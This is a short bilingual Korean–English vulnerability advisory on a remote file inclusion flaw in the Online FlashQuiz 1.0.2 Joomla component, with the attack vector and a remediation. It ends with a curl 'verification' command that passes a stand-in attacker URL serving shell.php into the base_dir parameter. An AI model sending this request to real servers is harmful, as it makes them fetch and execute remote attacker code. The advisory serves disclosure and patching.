🇰🇷 한글 설명
Joomla용 Online FlashQuiz 1.0.2 컴포넌트의 quiz/common/db_config.inc.php 파일에 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자가 base_dir 파라미터를 조작하여 원격 서버의 PHP 파일을 포함시키고 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Joomla 플러그인이 사용자가 제공한 파일 경로를 검증하지 않고 포함시킵니다. 공격자가 악의적인 PHP 파일 URL을 보내면 서버가 실행해줍니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in quiz/common/db_config.inc.php in the Online FlashQuiz (com_onlineflashquiz) 1.0.2 component for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the base_dir parameter.
📍 영향받는 시스템
Online FlashQuiz (com_onlineflashquiz) 1.0.2 for Joomla
⚔️ 공격 벡터
HTTP GET/POST 요청으로 base_dir 파라미터에 원격 PHP 파일 URL을 전달하여 RFI 공격 수행
🛡️ 대응 방법
컴포넌트를 1.0.3 이상으로 업그레이드하거나, base_dir 파라미터 입력 검증을 추가하여 로컬 경로만 허용하도록 수정
🔧 검증 코드
대상 서버가 원격 PHP 파일을 포함시키는 경우 PHP 코드 또는 실행 결과가 응답에 포함됩니다. 결과가 없으면 패치되었거나 보호 중
curl -s 'http://target/index.php?option=com_onlineflashquiz&base_dir=http://attacker.com/shell.php' | grep -i 'php\|executed\|shell'